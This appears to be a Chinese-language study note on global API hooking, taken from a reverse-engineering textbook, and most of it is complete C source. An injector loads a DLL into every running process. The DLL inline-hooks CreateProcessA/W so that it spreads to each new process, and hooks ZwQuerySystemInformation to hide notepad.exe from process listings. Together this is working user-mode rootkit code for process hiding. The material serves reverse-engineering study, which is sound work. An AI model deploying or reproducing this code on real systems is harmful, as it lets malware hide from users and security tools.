钩取当前运行的所有进程，还要钩取将来运行的所有进程。由于所有的进程都是由父进程使用CreateProcess创建的，所以只要钩取父进程(通常是explorer.exe)的CreateProcess将dll注入所有子进程就可以实现了。要注意下面两个问题。
1.CreateProcess同样有CreateProcessA和CreateProcessW两个版本。
2.为了使得dll文件能注入所有运行进程，首先要把dll复制到%windir%文件夹中，在XP中也就是C:\WINDOWS\system32。
注入流程
image.png
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日后补充
- 缺少对64位的支持
- _SYSTEM_INFORMATION_CLASS 相关信息暂未查明
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount; //线程数量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //创建进程的时间
LARGE_INTEGER UserTime; //进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime; //进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName; //进程的名字
KPRIORITY BasePriority; //线程的缺省优先级
ULONG ProcessId; //进程ID号
ULONG InheritedFromProcessId; //继承语柄的进程ID号
ULONG HandleCount; //进程打开的语柄数量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虚拟内存的使用情况统计
IO_COUNTERS IoCounters; //IO操作的统计,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组
};
代码实现
//代码来源：逆向工程核心原理
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
enum {INJECTION_MODE = 0, EJECTION_MODE};
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
if( argc != 3 )
{
printf("\n Usage : HideProc2.exe <-hide|-show> \n\n");
return 1;
}
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;
InjectAllProcess(nMode, argv[2]);
return 0;
}
//代码来源：逆向工程核心原理
#include "windows.h"
#include "stdio.h"
#include "tchar.h"
#define STR_MODULE_NAME (L"stealth2.dll")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef BOOL (WINAPI *PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *PFCREATEPROCESSW)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
BYTE g_pOrgCPA[5] = {0,};
BYTE g_pOrgCPW[5] = {0,};
BYTE g_pOrgZwQSI[5] = {0,};
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pFunc, 5);
dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy(pFunc, pBuf, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
{
HANDLE hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
FARPROC pThreadProc;
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
if( pRemoteBuf == NULL )
return FALSE;
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
dwBufSize, NULL);
pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pThreadProc,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwQuerySystemInformation");
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
if( SystemInformationClass == SystemProcessInformation )
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
{
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
return status;
}
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
return bRet;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
unhook_by_code("kernel32.dll", "CreateProcessA",
g_pOrgCPA);
unhook_by_code("kernel32.dll", "CreateProcessW",
g_pOrgCPW);
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}